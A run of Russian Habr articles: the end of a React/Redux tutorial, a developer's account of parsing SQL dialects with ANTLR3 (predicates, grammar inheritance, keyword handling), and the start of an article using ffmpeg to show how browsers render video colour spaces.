Откроем браузер, авторизуемся при необходимости, перейдем на страницу "Время" и нажмем F5. Мы должны увидеть *timestamp*, хотя кнопку "Запросить" никто не нажимал. Если открыть *Dev Tools* браузера, вкладку *Network* и повторить эксперимент, то мы увидим, что запроса к API из клиента не было. Это подтверждает, что вся работа была сделана на стороне сервера.
Внесем последнее небольшое улучшение в наш проект: будем делать запрос к API только в том случае, если пользователь авторизован.
#### src/redux/actions/timeActions.js
```
--- return (dispatch) => {
+++ return (dispatch, getState) => {
+++ if (!isUserSignedIn(getState())) {
+++ return Promise.resolve();
+++ }
```
Как мы видим, внутри возвращаемой функции мы можем получить доступ к актуальному глобальному состоянию посредством вызова функции *getState*, которая будет передана вторым аргументом. Об этом далеко не все знают, а это очень полезная возможность.
6. Вместо заключения
====================
Вот и подошел к концу цикл статей о веб-приложении на *React.js* с нуля. Искренне надеюсь, что он был вам полезен!
С удовольствием отвечу на ваши вопросы в комментариях, а также принимаю запросы на темы для следующих статей.
Ссылка на проект на github — <https://github.com/yury-dymov/habr-app/tree/v3>
P.s. Если в тексте присутствуют ошибки или неточности, пожалуйста, напишите мне сначала в личные сообщения. Заранее спасибо! | https://habr.com/ru/post/310952/ | null | ru | null |
# Дополняя SQL. Часть 1. Сложности парсинга. Истории о доработке ANTLR напильником
Публикую на Хабр оригинал статьи, перевод которой размещен в блоге [Codingsight](https://codingsight.com/completing-sql-part-1-the-difficulties-with-parsing-or-tales-of-polishing-antlr/).
Что будет в этой статье?
------------------------
Более пяти лет работаю в компании, что занимается разработкой [линейки](https://www.devart.com/dbforge/) IDE для работы с базами данных. Начиная работу над этой статьей я и не представлял как много интересных историй получится вспомнить, потому когда закончил получил более 30 страниц текста. Немного подумав, я сгруппировал истории по тематике, а статью разбил на несколько.
По мере публикации буду добавлять ссылки на следующие части:
**Часть 1. Сложности парсинга. Истории о доработке ANTLR напильником**
[Часть 2. Оптимизация работы со строками и открытия файлов](https://habr.com/ru/post/503550/)
[Часть 3. Жизнь расширений для Visual Studio. Работа с IO. Необычное использование SQL](https://habr.com/ru/post/504574/)
[Часть 4. Работа с исключениями, влияние данных на процесс разработки. Использование ML.NET](https://habr.com/ru/post/505270/)
За время работы произошло много интересного: мы нашли несколько багов в .NET, оптимизировали некоторые функции во много раз, а некоторые лишь на проценты, что-то делали очень круто и с первого раза, а что-то у нас не получалось даже после нескольких попыток. Моя команда занимается разработкой и поддержкой языковых функций IDE, главная из которых автодополнение кода. Отсюда и название цикла статей. В каждой их частей я буду рассказывать несколько историй: некоторые об успехах, некоторые о неудачах.
В этой части я сосредоточусь на проблемах парсинга SQL, борьбе с этими проблемами и ошибками допущенными в этой борьбе.
Для тех кому интересна лишь часть из этого и просто для удобной навигации содержание статьи:
### Содержание
* [Кто я?](#Who)
* [Какие сложности?](#difficulties)
+ [Десктопная разработка](#desktop)
+ [Парсинг SQL и диалектов](#dialects)
+ [Предикатные войны](#predicates)
* [Крутые ~~велосипеды~~ решения](#bikes)
+ [Наследование грамматик](#inheritance)
+ [Еще один постпроцессинг ANTLR](#postprocessing)
* [Ошибки](#mistakes)
+ [Синтаксический анализ без деревьев](#trees)
* [Заключение](#end)
Кто я?
------
На эту работу я пришел джуном с совсем небольшим опытом. Я, как и многие, пришел в программирование потому что хотел делать игрушки. Несколько даже вполне успешно сделал. О разработке одной даже писал вот [здесь](https://habr.com/ru/post/247809/). Недавно, кстати, воскресил ее на другом сервере. Была еще дюжина игр, сделанных или заброшенных на разных этапах готовности. Кроме игр, до получения этой работы, я успел выполнить несколько проектов на фрилансе. Самым крупным из них было приложение для социальных сетей представлявшее собой футбольный портал с турнирными таблицами, данными по игрокам и возможностью оповещать пользователей о финальном счете или забитых голах через SMS. Делалось это почти 10 лет назад. Тогда со смартфонами ходили далеко не все, а кто ходил все чаще без интернета или с трижды проклятым EDGE на котором-то и текстовый сайт открыть было не всегда возможно. Так что идея мне казалась годной.
Как-то так выходило, что помимо игр меня еще и тянуло создавать разный тулинг для себя или других разработчиков. Временами он оказывался близким к тому, что чуть позже мне пришлось делать на работе. Например, одним из проектов, что я делал изучая Win32 API была программа подсвечивающая XML код в Rich Edit Control. Кроме этого была возможность выгрузить код с подсветкой в BMP, HTML или модные тогда на разных форумах BB-коды.
Другим проектом, оказавшимся чертовски близким к тому, чем мне довелось заниматься на работе оказалась программа анализирующая код на С/С++ и строящая по нему блок-схему. Блок-схема строго соответствовала требованиям одного преподавателя в университете. Сделана она была топорно, в лоб, с нулевым знанием теории синтаксического анализа, а работала исключительно на моем дрянном характере. Несколько лет спустя, очищая компьютер от старого хлама, я наткнулся на нее и не смог удалить, потому выложил на [github](https://github.com/podkolzzzin/cchart) ради истории.
Эти эксперименты вкупе с фрилансом дали вполне годный опыт и дали возможность получить работу. Со временем, после пары дюжин пропитанных кровью и слезами ревью я даже начать приносить пользу компании и продукту. Оборачиваясь назад, довольно забавно понимать, что в результате нескольких случайностей я стал заниматься именно тем к чему и так тянуло.
Какие сложности?
----------------
Этот блок нужен для погружения читателя в контекст того, чем мы собственно занимаемся.
### Десктопная разработка
Возможно это даже и не сложность, ведь это уже очень зрелая сфера в которой не так много неизвестного, библиотеки стабильны, best-practice известны. Эта особенность нашего проекта здесь, потому что я, как и многие другие программисты, падок на новизну, а новизна сейчас вся ушла в web. Были дни, когда во время дождя, я забирался на подоконник, укрывшись пледом, с кружкой какао, и думал о redis, react, highload и распределенных системах, что где-то там прямо сейчас разрабатываются без меня. Другая сторона этой проблемы в том, что и без того непросто описать знакомым разработчикам за пивом какую-то сложность проекта, а когда вы работаете над приложениями, что функционируют по фундаментально разным законам, это становится еще сложнее.
### Парсинг SQL и диалектов
Мне и до этой работы доводилось писать небольшие парсеры для разных языков. Какое-то время я вел курсы по .NET. Некоторым группам, в качестве дополнительного задания, в рамках темы “строки”, предлагал написать собственный простой парсер JSON. Только вот SQL и его разновидности это далеко ни XML и ни JSON разработанные, чтобы быть одинаково понятными парсерам и людям. Более того, SQL синтаксически сложнее даже чем С/С++, с его множеством накопленных за долгую историю функций. SQL устроен иначе, его пытались сделать похожим на естественный язык, довольно успешно, кстати. В языке несколько тысяч (в зависимости от диалекта) ключевых слов. Часто для того, чтобы отличить одно выражение от другого, нужно подсмотреть на два и более слов(tokens) вперед. Этот подход называется lookahead. Существует классификация парсеров по тому, как далеко они умеют подглядывать вперед: LA(1), LA(2), или LA(\*), что означает, что парсер может заглянуть так далеко вперед как это только может потребоваться, чтобы определить правильную ветку. Иногда необязательный конец одной конструкции(clause) внутри одного SQL-statement совпадает с началом другой, тоже необязательной: такие ситуации существенно усложняют парсеры. Воду в огонь подливает T-SQL, в котором точка-с-запятой не является обязательной, а возможное, но не обязательное окончание некоторых SQL-statement может конфликтовать с началом других.
Все еще не верите? Существует механизм описания формальных языков через [грамматики](https://en.wikipedia.org/wiki/Formal_grammar). Грамматикой называют код на одном языке, который описывает другой. Из грамматики часто можно сгенерировать парсер с помощью того или иного инструмента. Наиболее известными инструментами и языками описания грамматики являются [YACC](https://en.wikipedia.org/wiki/Yacc) и [ANTLR](https://en.wikipedia.org/wiki/ANTLR). Парсеры сгенерированные YACC используются прямо в движках [MySQL](https://github.com/mysql/mysql-server/blob/8.0/sql/sql_yacc.yy), [MariaDB](https://github.com/MariaDB/server/blob/10.4/sql/sql_yacc.yy), [PostgreSQL](https://github.com/postgres/postgres/blob/master/src/backend/parser/gram.y). Можно было попробовать взять их прямо из открытых исходников и на их основе разрабатывать code completion и прочие функции завязанные на анализе SQL. Причем такая реализация получала бы бесплатные в плане разработки обновления, а парсер бы вел себя гарантировано идентично движку базы. Так почему же мы используем ANTLR? Он качественно поддерживает C#/.NET, для работы с ним есть неплохие инструменты, его синтаксис значительно легче читать и писать. Синтаксис ANTLR оказался так удобен, что microsoft, с недавнего времени использует его в официальной [документации](https://docs.microsoft.com/ru-ru/dotnet/csharp/language-reference/language-specification/classes#class-declarations) C#.
Вернемся к моему доказательству сложности SQL, в сравнении с другими языками, по части парсинга. Для этого хочу сравнить размеры грамматик для разных языков доступных публично. В dbForge мы используем свои грамматики, они полнее тех, что доступны публично, но, к сожалению, сильно засорены вставками C# кода для поддержки разных функций, об этом подробнее в параграфе “Синтаксический анализ без деревьев” раздела “Ошибки”.
Ниже приведены размеры грамматик для разных языков:
[JS](https://github.com/antlr/grammars-v4/blob/master/javascript/JavaScriptParser.g4) — 475 строк парсер + 273 лексер = 748 строк
[Java](https://github.com/antlr/grammars-v4/blob/master/java/JavaParser.g4) — 615 строк парсер + 211 [лексер](https://github.com/antlr/grammars-v4/blob/master/java/JavaLexer.g4) = 826 строк
[C#](https://github.com/antlr/grammars-v4/blob/master/csharp/CSharpParser.g4) — 1159 строк парсер + 433 [лексер](https://github.com/antlr/grammars-v4/blob/master/csharp/CSharpLexer.g4#L433) = 1592 строки
[С++](https://github.com/antlr/grammars-v4/blob/master/cpp/CPP14.g4) — 1933 строки
[MySQL](https://github.com/antlr/grammars-v4/blob/master/mysql/Positive-Technologies/MySqlParser.g4) — 2515 строк парсер + 1189 [лексер](https://github.com/antlr/grammars-v4/blob/master/mysql/Positive-Technologies/MySqlLexer.g4) = 3704 строки
[T-SQL](https://github.com/antlr/grammars-v4/blob/master/tsql/TSqlParser.g4) — 4035 строк парсер + 896 [лексер](https://github.com/antlr/grammars-v4/blob/master/tsql/TSqlLexer.g4) = 4931 строка
[PL SQL](https://github.com/antlr/grammars-v4/blob/master/plsql/PlSqlParser.g4) — 6719 строк парсер + 2366 [лексер](https://github.com/antlr/grammars-v4/blob/master/plsql/PlSqlLexer.g4) = 9085 строк
*В конце некоторых лексеров идет перечисление символов юникод доступных в языке, это бесполезно в оценке сложности языка. Я брал количество строк до начала таких перечислений.
К оценке сложности парсинга языка на основании количества строк в его грамматике могут быть вопросы. Вопросы также могут быть к полноте открытых грамматик в сравнении с реальным синтаксисом языков. Несмотря на это все равно считаю полезным привести эти цифры, так как разброс уж слишком большой.*
Это не все, ведь нам нужно не просто распарсить несколько файлов на SQL. Мы ведь делаем IDE, а значит должны работать на неполных или невалидных скриптах. Даже если вы пишете свои скрипты без ошибок, возможно вы их пишете непоследовательно, вряд ли скрипт валиден на протяжении всего процесса его разработки. Я, например, сначала пишу “SELECT FROM”, после чего буду рад списку доступных таблиц. Когда выберу таблицу, я переставлю каретку на SELECT, нажму на пробел и буду ждать список колонок из этой конкретной таблицы. Это очень простой пример, но он показывает, что парсер обеспечивающий работу Code Completion в IDE не может падать с исключением встречая невалидный скрипт. Нам пришлось придумать немало трюков, чтобы обеспечить корректную работу подсказки на многих подобных сценариях, но пользователи все еще присылают разные сценарии работы с незаконченными скриптами, а значит нам приходится придумывать новые трюки.
### Предикатные войны
При парсинге кода, иногда, случаются такие ситуации, когда по следующему слову непонятно какую из двух альтернатив выбрать. Иногда достаточно подсмотреть на строго определенное количество слов вперед и можно будет однозначно выбрать альтернативу. Механизм разрешения такого рода неточностей называется в ANTLR lookahead. Метод парсера в этом случае строится как вложенная цепочка if-ов, каждый из которых заглядывает на одно слово дальше. Ниже пример грамматики порождающий неопределенность этого вида.
```
rule1:
'a' rule2 | rule3
;
rule2:
'b' 'c' 'd'
;
rule3:
'b' 'c' 'e'
;
```
В середине rule1, уже пройдя token ‘a’, парсеру придется заглянуть на 2 token’а вперед, чтобы выбрать по какому правилу идти. Еще раз эта проверка будет сделана внутри правила. Эту грамматику можно переписать так, чтобы этого lookahead не было, к сожалению от таких оптимизаций часто страдает структура, а прирост производительности сравнительно не высок.
Для разрешения более сложных неопределенностей существуют более сложные механизмы. Один из них это механизм синтаксических предикатов (synpred) в ANTLR3.
На помощь он приходит в тех случаях, когда, например, не обязательное завершение одной clause пересекается с началом необязательной другой идущей следом. Предикатом, в терминах ANTLR3, называют сгенерированный метод, что совершает виртуальный проход по тексту в соответствии с одной из альтернатив и в случае успеха возвращает истину, такое завершение предиката называют успешным. Виртуальный проход еще называют проход в режиме backtracking. Если предикат отработал успешно, то совершается реальный проход. Проблемой это становится тогда, когда внутри одного предиката начинается другой, тогда один участок может быть пройден и сотню и тысячу раз.
Рассмотрим упрощенный пример. Есть 3 точки неопределенности (A,B,C).
1. Парсер входит в A, запоминает положение в тексте, начинает виртуальный проход 1-го уровня.
2. Парсер входит в B, запоминает положение в тексте, начинает виртуальный проход 2-го уровня.
3. Парсер входит в C, запоминает положение в тексте, начинает виртуальный проход 3-го уровня.
4. Парсер успешно завершает виртуальный проход 3-го уровня, возвращается на 2й и проходит С заново.
5. Парсер успешно завершает виртуальный проход 2го уровня, возвращается на 1й и проходит B и С заново.
6. Парсер успешно завершает виртуальный проход, возвращается и совершает реальный проход по A, B и С.
Таким образом все проверки внутри C будут выполнены 4 раза, B — 3 раза, A — 2 раза. А что если подходящая альтернатива вторая или третья в списке? Тогда на каком-то из этапов какой-то из предикатов завершиться неудачей, положение в тексте откатится и начнет выполнение другой предикат.
Неоднократно разбирая причину зависания приложения мы натыкались на случаи, когда “хвост” synpred был выполнен несколько тысяч раз. Synpred’ы особенно проблематичны в рекурсивных правилах. К сожалению, по своей природе, SQL рекурсивен, чего стоит хотя бы возможность использовать подзапрос почти везде. Иногда с помощью разных трюков и ухищрений получается вывернуть правило так, чтобы предикат ушел.
Очевидно, что synpred имеет негативное влияние на производительность. На каком-то этапе пришлось поставить их популяцию под четкий контроль. Проблема только в том, что при написании кода грамматики появление synpred может быть неочевидным. Более того иногда изменение одного правила приводит к появлению предиката в другом. Это невозможно контролировать вручную. Для контроля численности предикатов мы написали нехитрую регулярку, что вызывалась специальным MsBuild Task’ом. Если число предикатов отличалось от числа указанного в отдельном файле, то Task обрывал сборку и сообщал об ошибке. Видя такую ошибку, разработчик должен был несколько раз переписать код правила, пытаясь избавится от лишних предикатов, возможно, привлечь к проблеме других разработчиков. Если появление предиката неизбежно, то разработчик обновляет количество предикатов в соответствующем файле. Изменение в этом файле привлекают дополнительное внимание на ревью.
В редких случаях, мы даже писали собственные предикаты на C#, чтобы обойти те, что генерирует ANTLR. К счастью, такой механизм тоже есть.
Крутые ~~велосипеды~~ решения
-----------------------------
### Наследование грамматик
После анонса любых изменений в каждой из поддерживаемых нами СУБД начинается наша работа по их поддержке. Почти всегда отправной точкой в этом будет поддержка синтаксических конструкций в грамматике. Для каждого диалекта SQL мы пишем собственную грамматику, это порождает некоторое повторение кода, но в конечном счете это проще, чем искать общее между ними. Еще пару лет назад MySQL и MariaDB были очень похожи, написание отдельных грамматик было нецелесообразно. Потому те немногие конструкции, что были в MariaDB, но не было в MySQL мы поддерживали в грамматике MySQL. В этом был неприятный момент: для пользователя MySQL мы могли подсказать конструкции, что были бы не валидными. В последние года MariaDB и MySQL стали сильно расходиться с точки зрения синтаксиса и не только. Стало очевидным, что неправильно поддерживать два разных языка в рамках одной грамматики.
Возможным решением могло бы стать полное копирование грамматики, после чего поддержка каждой как отдельно. В результате длительного обсуждение, мы пошли на смелое решение. Я очень рад, что мы не стали копировать код, каждая клеточка во мне сопротивлялась этому решению. Было решено написать свой препроцессор ANTLR грамматик, реализующий механизм наследования грамматик. Еще какое-то время назад, мне на глаза в официальном репозитории ANTLR4 грамматик попалась грамматика ANTLR3. Думаю это предложение нужно прочитать несколько раз, чтобы осознать глубину безумия.
Обсуждая идею наследование мы быстро поняли, что нам хотелось бы иметь и механизм для полиморфизма. Возможность в грамматике наследнике не только переопределять правило, но и вызывать базовое. Более того хочется контролировать положение вызова базового правила: начало, середина или конец. Мы приняли решение, что все правила можно переопределять, для этого не нужно указывать ничего дополнительно. Для того чтобы переопределить правило достаточно объявить в грамматике-наследнике правило с таким же именем. После этого правило из родительской грамматики будет доступно под другим именем.
Приятным в разработке инструментом ANTLR делает тулинг — есть расширение для VS, есть ANTLRWorks. Внедряя механизм наследования не хотелось бы терять эту возможность. Только как тогда указать базовую грамматику? Можно придумать какую-то конвенцию по именованию файлов, но это уж совсем не очевидно. Еще одним вариантом могло быть указание такой дополнительной информации в отдельном файле, но даже сейчас, набирая эти строки, я почувствовал вонь этого решения. Выходом стало указание базовой грамматики, в грамматике наследника в формате ANTLR-комментария. Все инструменты просто проигнорируют этот текст, а мы без проблем сможем вытянуть интересующий нас код.
Требования были сформированы, настало время их реализовывать. Мы написали MsBuild Task, который был встроен в общую систему сборки как pre-build-action. Task выполнял работу препроцессора ANTLR грамматики, генерируя результирующую грамматику из базовой и наследуемой. Результирующая грамматика уже обрабатывалась самим ANTLR. Если в грамматике-наследнике встречалось правило с тем же именем, что и в родительской, базовое правило переименовывалось: к его имени после нижнего подчеркивания добавлялось имя родительской грамматики. По такому имени к нему можно было обратиться в наследнике.
Сам механизм работы препроцессора не занимал много времени, но вместе с генерацией парсера получалось, что это на 10-20 секунд замедляло каждую пересборку проекта. В какой-то момент это перестало нас устраивать. Мы решили подумать как это можно оптимизировать. Выходом стало добавление в заголовок CS файла парсера хеш суммы всех грамматик от которых он зависит в виде комментария. Препроцессор перед тем как что-то делать сравнивал эти хеши с хешами файлов, лежащих на диске и если они не отличаются, то файл парсера считался актуальным. На этапе начальной разработки нам пришлось ни один раз наступить на грабли невалидных парсеров и грамматик собранных устаревшей версией препроцессора. В итоге в заглавном комментарии появилась и хеш-сумма сборки с препроцессором.
### Еще один постпроцессинг ANTLR
Во многих языках программирования, если слово является ключевым, то использовать его в качестве имени объекта уже нельзя. В SQL, в зависимости от диалекта, от 800 до 3000 ключевых слов. Большинство из них тесно связаны с предметной областью, к тому же не все вводились сразу, поэтому запрет на использования их всех в качестве имен объектов встретил бы шквал негодования. В SQL вводится понятие резервированных и не резервированных ключевых слов. Нельзя назвать объект так же как резервированное ключевое слово(SELECT, FROM etc) не квотируя его, как не резервированное(CONVERSATION, AVAILABILITY etc) — можно. Такое поведение усложняет разработку парсера. На момент лексического анализа контекст неизвестен, но парсер требует разные номера для идентификатора и ключевого слова. Для решения этой проблемы мы добавили еще один постпроцессинг к ANTLR парсеру. Постпроцессинг заменяет все явные проверки на идентификатор, на вызов специального метода. В этом методе реализована более хитрая проверка. Если на вход подан идентификатор и дальше ожидается идентификатор, то все отлично, но если на вход подается нерезервированное ключевое слово, то его нужно дополнительно проверить. Дополнительная проверка заключается в том, что метод осматривается в текущем контексте в поиске веток, где это нерезервированное ключевое слово может использоваться именно как ключевое слово и если таких веток нет, значит здесь оно может быть применено как идентификатор.
Строго говоря, эту проблему можно решить исключительно средствами ANTLR, но такое решение не будет оптимальным. Классическим решением этой проблемы считается создание правила в котором перечисляются все нерезервированные ключевые слова и лексема идентификатор. Далее везде где допустимо использование идентификатора используется уже не лексема идентификатора, а это специальное правило. Такое решение мало того, что заставляет не забывать разработчика дописывать ключевое слово при его введении не только там, где оно используется, а еще и в этом специальном правиле, так еще и работает значительно медленнее.
Ошибки
------
### Синтаксический анализ без деревьев
Результат работы парсера, как правило — синтаксическое дерево. Синтаксическое дерево([абстрактное](https://en.wikipedia.org/wiki/Abstract_syntax_tree) или [конкретное](https://en.wikipedia.org/wiki/Parse_tree)) представляет собой структуру данных отражающую текст программы через призму формальной грамматики. Если вы захотите реализовать редактор кода с автодополнением для языка, что недавно придумали, изучив вопрос, вы скорее реализуете примерно следующий алгоритм:
1. Распарсить текст в редакторе. Получить синтаксическое дерево.
2. Найти узел под кареткой. Сопоставить его с грамматикой. Узнать какие ключевые слова и типы объектов будут доступны в точке.
Грамматику в этом случае удобно представить в виде графа или конечного автомата.
К сожалению, на момент начала разработки IDE ANTLR существовал в своей третьей версии. Четвертая версия переписана с нуля и кардинально отличается от третьей, по прохождению кода парсером будет автоматически сгенерировано дерево разбора без единой дополнительной строчки. В третьей версии существовал механизм при помощи которого можно было подсказать ANTLR как построить дерево, но пользоваться им было не слишком приятно. Более того, многие примеры и статьи по этой теме предлагали использовать механизм actions для выполнения кода в момент прохождения парсером правила. Этот механизм невероятно удобен и позволяет очень быстро начать получать результаты. К сожалению, это решение привело к большим архитектурным проблемам с развитием продукта и увеличению сложности поддержки новой функциональности. Дело в том, что в одном файле, в файле грамматики, начали скапливаться actions связанные с большим количеством разной функциональности, которые хорошо было бы разнести по разным сборкам. В дальнейшем мы смогли разнести обработчики самих действий по разным сборкам, реализовав довольно хитрый вариант паттерна subscriber-notifier, но сами вызовы, с передачей необходимой информации, все еще загромождают нам грамматику, усложняют поддержку новой функциональности и накладывают серьезные и неприятные ограничения на архитектуру.
Но все не так очевидно, как может показаться. Дело в том, что ANTLR3 работает значительно быстрее ANTLR4. По нашим измерениям отличия примерно в 6 раз. Кроме того, синтаксическое дерево для больших скриптов могло бы занимать много места в оперативной памяти, а до тех пор пока нам приходится выживать в 32 битном адресном пространстве Visual и SqlServer Management студий это может быть критично.
Заключение
----------
Промежуточные итоги могут быть следующими:
* ANTLR мощный инструмент для построения парсеров
* Его преимущество над другими это инструменты, удобный синтаксис, большое количество поддерживаемых языков
* ANTLR4 был переписан с нуля и предполагает отличную от третьей версии работу с парсером
* Всегда есть способ взять от ThirdParty библиотек немного больше чем они дают
* SQL специфичный язык, построение парсеров для него — непростая задача
* Парсинг кода для задач связанных с построением IDE имеет свои особенности: нужно учитывать работу на незакноченных или невалидных скриптах
До встречи в следующей части! | https://habr.com/ru/post/502416/ | null | ru | null |
# Каждый браузер видит цвета видео по-разному
Большинство людей знает основы теории цвета. Сочетая яркости нескольких основных цветов, можно воссоздать любой видимый человеку цвет. Многие люди знают, что отдельные цвета — это просто длины волн электромагнитного спектра. Но чего многие не осознают, так это того, насколько сложной становится ситуация, когда мы стремимся точным образом записать и воспроизвести цвет.
В преобразовании значения RGB-триплета в конкретную длину волны света задействовано множество систем. Это преобразование должно быть стандартизовано, чтобы всё ПО, все декодеры видео, видеокарты и мониторы (даже изготовленные разными производителями в разные десятилетия) могли создавать одинаковые результаты по одинаковым входным данным. Для решения этой задачи были разработаны цветовые стандарты. Однако со временем дисплеи и другие технологии развивались. Телевидение стало цифровым, начали применять сжатие, а мы отказались от ЭЛТ в пользу LCD и OLED. Новое оборудование было способно отображать больше цветов при большей яркости, но получаемые им сигналы по-прежнему были адаптированы под возможности старых дисплеев.
Решение этой проблемы заключалось в создании нового «цветового пространства». Новый HD-контент можно производить в новом цветовом пространстве, а новые HD-дисплеи могут его отображать. И если старое цветовое пространство будет перед отображением преобразовываться в новое, то старый контент не утратит совместимости.
Это работающее решение, но оно усложняет процесс создания видео. На каждом этапе процесса захвата, записи, редактирования, кодирования, декодирования, композитинга и отображения необходимо учитывать используемое цветовое пространство. И если хотя бы на одном этапе процесса используется старое оборудование, или есть баг ПО, из-за которого не учитывается цветовое пространство, то в результате может получиться некорректное изображение. Видео всё равно можно будет смотреть, однако цвета могут оказаться слишком тёмными или бледными.
Сегодня двумя самыми популярными цветовыми пространствами являются BT.601 (также называемое smpte170m; в статье я буду использовать оба этих названия), которое стало стандартом для SD-контента, и BT.709, которое стало стандартом HD-контента. Существует также BT.2020, которое становится популярнее благодаря HDR- и UHD-контенту. Стоит заметить, что разделение на HD/SD здесь немного ошибочно. Технические ограничения отсутствуют, это просто традиционный подход. HD-контент можно кодировать в BT.601, а SD-контент — в BT.709. Если взять видеофайл с разрешением 1080p и уменьшить его до 480p, то цветовое пространство не изменится автоматически. Смена цветового пространства — это дополнительный этап, который выполняется как часть процесса.
Что же происходит, если процесс выполняется неправильно? Давайте проведём эксперимент.
Программа ffmpeg — настоящее чудо современности. Это очень популярный инструмент для работы с цифровым видео, и вся отрасль многим обязана её разработчикам. В своём эксперименте я воспользуюсь этим инструментом для создания и изменения видеофайлов.
Для начала я создам с помощью ffmpeg простой тестовый файл:
> `ffmpeg -f rawvideo -s 320x240 -pix_fmt yuv420p -t 1 -i /dev/zero -an -vcodec libx264 -profile:v baseline -crf 18 -preset:v placebo -color_range pc -y 601.mp4`
Краткое объяснение этой команды:
> `ffmpeg` — исполняемый файл
>
>
>
> `-f rawvideo` — сообщает программе ffmpeg, что я передаю ей сырые пиксельные данные, а не видеофайл.
>
>
>
> `-s 320x240` — разрешение выходных данных. Можно использовать любое значение, потому что все входящие значения будут одинаковыми. Но благодаря маленькому размеру мы ускоряем процесс.
>
>
>
> `-pix_fmt yuv420p` — указываем формат пикселей входящих данных. Yuv420p — это способ описания пикселей. Здесь важно отметить, что значение yuv(0,0,0) представляет собой оттенок зелёного. Я использую этот формат в противовес RGB, поскольку он является самым популярным форматом, используемым в цифровом видео.
>
>
>
> `-t 1` — ограничиваем входящие данные 1 секундой
>
>
>
> `-i /dev/zero` — это файл входящих данных. /dev/zero — это виртуальный файл, существующий на всех компьютерах mac. Это бесконечно длинный файл, состоящий из одних нулей.
>
>
>
> `-an` — обозначает, что выходные данные не должны содержать звука.
>
>
>
> `-vcodec libx264` — используем для сжатия видео потрясающую библиотеку libx264.
>
>
>
> `-profile:v baseline` — используем базовый профиль h.264. Он отключает некоторые расширенные возможности h.264, но в этом тесте они нам не понадобятся.
>
>
>
> `-preset:v placebo` — сообщаем библиотеке libx264, что она может потратить дополнительные ресурсы процессора на кодирование видео с повышенным качеством. В реальной ситуации эту опцию выбирать не стоит, потому что кодирование занимает КУЧУ времени и обеспечивает минимальное улучшение качества. Нам она подходит, потому что у меня мало входящих данных.
>
>
>
> `-color_range pc` — один компьютерный байт может иметь значения от 0 до 255. При оцифровке аналогового видео используется интервал 16-235. Он был выбран из-за того, как телевизор интерпретирует очень тёмные и очень яркие сигналы. Так как мы используем цифровой источник, я выбрал значение `pc`, а не `tv`.
>
>
>
> `-crf 18` — опция постоянного коэффициента потока (constant rate factor) сообщает libx264, что нужно создать высококачественный видеофайл и использовать любое количество бит, необходимое для обеспечения качества `18`. Чем меньше число, тем выше качество. 18 — это очень высокое качество.
>
>
>
> `-y` — даёт ffmpeg разрешение на перезапись файла, если он существует.
>
>
>
> `601.mp4` — имя получившегося файла.
Эта команда создаёт файл 601.mp4 длительностью 1 секунду, который можно открывать и воспроизводить. После выполнения этой команды мы можем проверить, что ffmpeg не исказил значения пикселей, выполнив следующую команду и изучив выходные данные:
> `ffmpeg -i 601.mp4 -f rawvideo - | xxd
>
>
>
> 00000000: 0000 0000 0000 0000 0000 0000 0000 0000
>
> 00000010: 0000 0000 0000 0000 0000 0000 0000 0000
>
> 00000020: 0000 0000 0000 0000 0000 0000 0000 0000
>
> 00000030: 0000 0000 0000 0000 0000 0000 0000 0000
>
> 00000040: 0000 0000 0000 0000 0000 0000 0000 0000
>
> 00000050: 0000 0000 0000 0000 0000 0000 0000 0000
>
> ...
>
> ...`
Эти данные в шестнадцатеричном виде показывают, что все значения пикселей после декодирования равны нулю.
При рендеринге видео в Safari мы получаем такой скриншот:
Возникает вопрос: что это за цветовое пространство? Я назвал файл 601.mp4, но нигде в команде я не указывал цветового пространства, так как же Safari узнал, какой оттенок зелёного нужно рендерить? Откуда браузер знает, что yuv(0,0,0) должно быть равно rgb(0,135,0)? Очевидно, что существует алгоритм для вычисления этих значений. На самом деле, это простое матричное умножение. (Примечание: в некоторых форматах пикселей, в том числе и в yuv420p, для преобразования требуется этап пре- и постпроцессинга, но в этой демонстрации мы опустим такие тонкости). Для каждого цветового пространства имеется собственная матрица. Так как мы не задавали матрицу цветового пространства при кодировании видео, Safari просто делает предположение. Мы можем перебрать все матрицы, умножить все значения RGB на обратные матрицы и посмотреть, чему же они соответствуют, но давайте попробуем использовать более визуальный подход и посмотреть, удастся ли нам разобраться, что делает Safari.
Для этого я вставлю в файл метаданные, чтобы Safari знал, какое цветовое пространство используется, и не был вынужден угадывать.
> `ffmpeg -f rawvideo -s 320x240 -pix_fmt yuv420p -t 1 -i /dev/zero -an -vcodec libx264 -profile:v baseline -crf 18 -preset:v placebo -colorspace smpte170m -color_primaries smpte170m -color_trc smpte170m -color_range pc -y 601vui.mp4`
Команда ffmpeg осталась практически такой же, но я добавил следующее:
> `-color_trc smpte170m
>
>
>
> -colorspace smpte170m
>
>
>
> -color_primaries smpte170m`
>
>
>
> Это метаданные цветового пространства, в который будет кодироваться файл. Я не буду объяснять различия между этими опциями, потому что для этого понадобится ещё одна статья. Пока мы просто задаём всем им нужное нам цветовое пространство. smpte170m — это то же самое, что и BT.601.
Указание цветового пространства не влияет на способ кодирования файла, значения пикселей по-прежнему кодируются как yuv(0,0,0). Чтобы убедиться в этом, мы можем выполнить для нового файла команду `ffmpeg -i zero.mp4 -f rawvideo - | xxd`. Флаги цветового пространства не игнорируются, однако просто записываются в несколько битов внутри раздела «video usability information» (VUI) в заголовке видеопотока. Теперь декодер будет искать VUI и использовать его для загрузки нужной матрицы.
А вот результат:
И с VUI, и без него видео рендерятся с одинаковым цветом. Давайте попробуем файл BT.709:
> `ffmpeg -i 601vui.mp4 -an -vcodec libx264 -profile:v baseline -crf 18 -preset:v placebo -vf "colorspace=range=pc:all=bt709" -y 709.mp4`
Новые опции:
> `-i 601vui.mp4` — используем в качестве источника видео прежний файл 601vui.mp4
>
>
>
> `-vf "colorspace=all=BT.709"` — сообщаем ffmpeg, что нужно использовать видеофильтр цветового пространства для изменения значений пикселей. Это похоже на умножение матрицы для преобразования из yuv в rgb, но матрица имеет другие коэффициенты. «all» — это сокращение для одновременного задания color\_primaries, colorspace и color\_trc.
Здесь мы берём видео 601vui.mp4 и используем фильтр цветового пространства для преобразования в BT.709. Фильтр цветового пространства может считать из vui файла 601vui.mp4 цветовое пространство входящих данных, поэтому нам достаточно только указать цветовое пространство, которое мы хотим получить на выходе.
